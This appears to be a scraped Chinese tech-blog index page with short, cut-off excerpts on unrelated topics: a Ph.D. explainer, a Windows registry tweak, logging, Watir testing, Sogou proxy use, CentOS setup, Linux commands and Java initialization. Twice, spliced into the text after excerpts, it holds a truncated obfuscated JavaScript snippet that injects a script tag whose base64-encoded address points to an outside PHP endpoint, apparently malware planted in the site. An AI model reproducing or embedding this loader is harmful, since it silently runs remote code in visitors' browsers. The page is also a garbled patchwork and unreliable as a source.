翻译自@mattmight
Every fall, I explain to a fresh batch of Ph.D. students what a Ph.D. is.
It's hard to describe it in words.
So, I use pictures.
Read below for the illustrated guide to a Ph.D.
每年秋季,我都要向新来的博士解释什么是博士。因为很难用语言描述,所以我用图来描述。
Imagine a circle that contains all of human knowledge:
想象一个圆代表了人类所知道的知识:
By the ti...
右键增加通过记事本打开未知格式文件
在注册表中把
[HKEY_CLASSES_ROOT\Unknown\shell\Open\command]
把默认值从
%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,OpenAs_RunDLL %1
改为
notepad.exe %1(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1
The Art of Logging
Contents• Introduction• Overview• What is logging?• A structured approach to logging• What should I be logging?o The importance of contexto Logging in a concurrent environmento Why not log everything?o Not all exceptions are errorso Get organised with named loggers• Unit test your logging code• Conclusions
IntroductionThis article is an ac...
ruby watir 整理
异常对象识别(watir应用解决方案)
watir基于处理,继承于web document的对象提供较好的支持方法,但相对于处理windows对象较弱. 就目前从各网站收集的对象来看, 基本上,对于在ie实例对象打开的web标准对象能够成功识别与操作,其它 的脱离当前ie窗口,打开的所有弹出框都不能正常识别。其中,弹出框对象占有异常对象识别中很大一部分。目前碰到的弹出框, 我把他们分为三大类型:1, alerts 警告作用,如:...
三年协议
入学前踩个脚印,看看三年后如何
看这三年是否过得无怨无悔!!!
(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1
Sogou浏览器proxy
Sogou教育网加速是在后台新建一个子进程,专门做代理使用的,打开这个子进程后,Sogou浏览器会在本地8081端口创建一个代理。然后我们在用Sogou浏览器的时候,系统就会使用这个代理来上网。弄清这个原理以后,我们就可以利用Sogou浏览器的这个特点来实现对其它浏览器的加速了.
其实也很简单,这里有两个实现方法:
1. 最傻瓜式:
这个方法很简单,就是打开Sogou浏览器,然后将其教育网加速功能打开。这里候...
CentOs J2EE开发环境配置
软件的安装(使用root用户登录linux)
1,mysql的安装:
按照install-binary文件来安装,因为这个安装简单明了。在mysql根目录下。按照具体提示操
作即可。但是前提是你的英文得够行。
(1)注意:由于glibc的版本不同需要下载相应的tar.gz,看看自己的glibc版本
# rpm -qa | grep glibc
glibc-common-2.3.2-11.9
glibc-2.3.2-11.9
glibc-kernheaders-2.4-8.10
glibc-devel-2.3.2-11.9
我的机器上是2.3.2,...
linux中根据端口号杀进程和启动应用两例
1.一进程确定占用某一tcp端口,如下命令可以杀掉该进程。
Java代码
kill -9 $(netstat -tlnp|grep 1099|awk '{print $7}'|awk -F '/' '{print $1}')
kill -9 $(netstat -tlnp|grep 1099|awk '{print $7}'|awk -F '/' '{print $1}')
其中1099为端口号。注意:
得写出完整端口号,否则易错杀其他进程。
7是进程信息所处的列号,不同Linux可能不同,需要调整。
2.两应用程序service1service2,...
Java Initializer Java 初始化程序
程序中的初始化是指对类中域field(就是属性property)和局部变量(local variable)赋初值。在Java中初始化分为显式初始化(Explicitly)和隐式初始化(Implicitly)。
域的隐式初始化(Field Implicit Initialization)
Java虚拟机负责对域进行隐式初始化;隐式初始化总是在任何代码之前,因为虚拟机要保证数据的正确性,这成全了粗心的coder不必为初始化担心。
实例域(instance field)的隐式初始化:
...
Shell中的grep、awk和sed的常用命令和语
Shell中的grep、awk和sed的常用命令和语法
Grep的常用命令语法
1. 双引号引用和单引号引用在g r e p命令中输入字符串参数时,最好将其用双引号括起来。例如:“m y s t r i n g”。这样做有两个原因,一是以防被误解为 s h e l l命令,二是可以用来查找多个单词组成的字符串,例如:“jet plane”,如果不用双引号将其括起来,那么单词 p l a n e将被误认为是一个文件,查询结果将返回“文件不存在”的错误信息。...